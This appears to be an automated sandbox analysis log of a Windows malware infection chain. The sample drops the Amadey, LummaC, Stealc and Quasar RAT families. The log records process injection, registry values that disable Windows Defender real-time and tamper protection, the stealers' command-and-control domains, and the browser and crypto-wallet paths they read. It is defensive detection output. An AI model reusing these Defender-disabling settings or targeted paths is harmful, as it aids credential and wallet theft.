Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AB0E06 rdtsc

0_2_04AB0E06

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe

Code function: 4_2_00460D90 LdrInitializeThunk,

4_2_00460D90

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_0050645B mov eax, dword ptr fs:[00000030h]		2_2_0050645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_0050A1C2 mov eax, dword ptr fs:[00000030h]		2_2_0050A1C2

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 5796, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 500000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: servicedny.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: authorisev.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: faulteyotk.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: dilemmadu.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: contemteny.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: goalyfeastz.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: opposezmny.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seallysl.site
Source: LummaC2.exe, 00000004.00000003.2387567810.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: computeryrati.site
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: 69de3a997f.exe, 00000009.00000003.2435988015.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 500000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 502000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 820000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 822000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 29E008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe "C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe "C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe "C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe "C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: axplong.exe, axplong.exe, 00000003.00000002.2181019419.00000000006C3000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 0000000E.00000002.2683438975.00000000006C3000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: 69de3a997f.exe, 00000010.00000002.3192645017.0000000000288000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: u+UProgram Manager
Source: OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe, 00000011.00000002.3145834958.0000000001032000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: =lProgram Manager
Source: 98a31794c6.exe, 0000000F.00000002.2756510049.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: :Program Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 2_2_004ED312 cpuid

2_2_004ED312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 2_2_004ECB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

2_2_004ECB1A

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 69de3a997f.exe, 00000009.00000003.2987100458.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000003.2987100458.0000000001001000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3004531013.0000000001001000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000009.00000002.3004531013.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 0000000D.00000003.2929382509.0000000000CB7000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3031951043.0000000000D2F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3119817223.0000000000D2F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3039560172.0000000000D2F000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000002.3202086088.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, 69de3a997f.exe, 00000010.00000003.3188503917.0000000000D30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 69de3a997f.exe, 00000010.00000003.3121461561.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ws Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 19.2.axplong.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.axplong.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.axplong.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.axplong.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000003.4442585249.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2136484319.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3279767591.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.3839582720.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2683343528.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3879883094.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.4482848128.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2642667604.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2140756927.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3239172732.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2180937892.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2072054860.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2123821458.0000000000161000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 4912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 69de3a997f.exe PID: 1680, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Quasar RAT

Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000820000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2278148881.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uhshdsh.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5064, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 8.2.98a31794c6.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.98a31794c6.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.98a31794c6.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2589589697.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2715238456.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2549164946.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2755768193.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2409293967.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2410605365.000000000132E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2367784987.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 4676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 98a31794c6.exe PID: 5796, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 69de3a997f.exe	String found in binary or memory: Jaxx Liberty
Source: 69de3a997f.exe, 0000000D.00000002.2946952228.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 69de3a997f.exe, 00000010.00000003.2812858974.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971
Source: 69de3a997f.exe, 00000009.00000003.2987803540.0000000001082000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 69de3a997f.exe, 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 69de3a997f.exe, 00000009.00000003.2704542229.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: uhshdsh.exe, 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: PKCS12 key store MAC invalid - wrong password or corrupted file.[Org.BouncyCastle.Pkcs12.IgnoreUselessPasswordqpassword supplied for keystore that does not require one

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
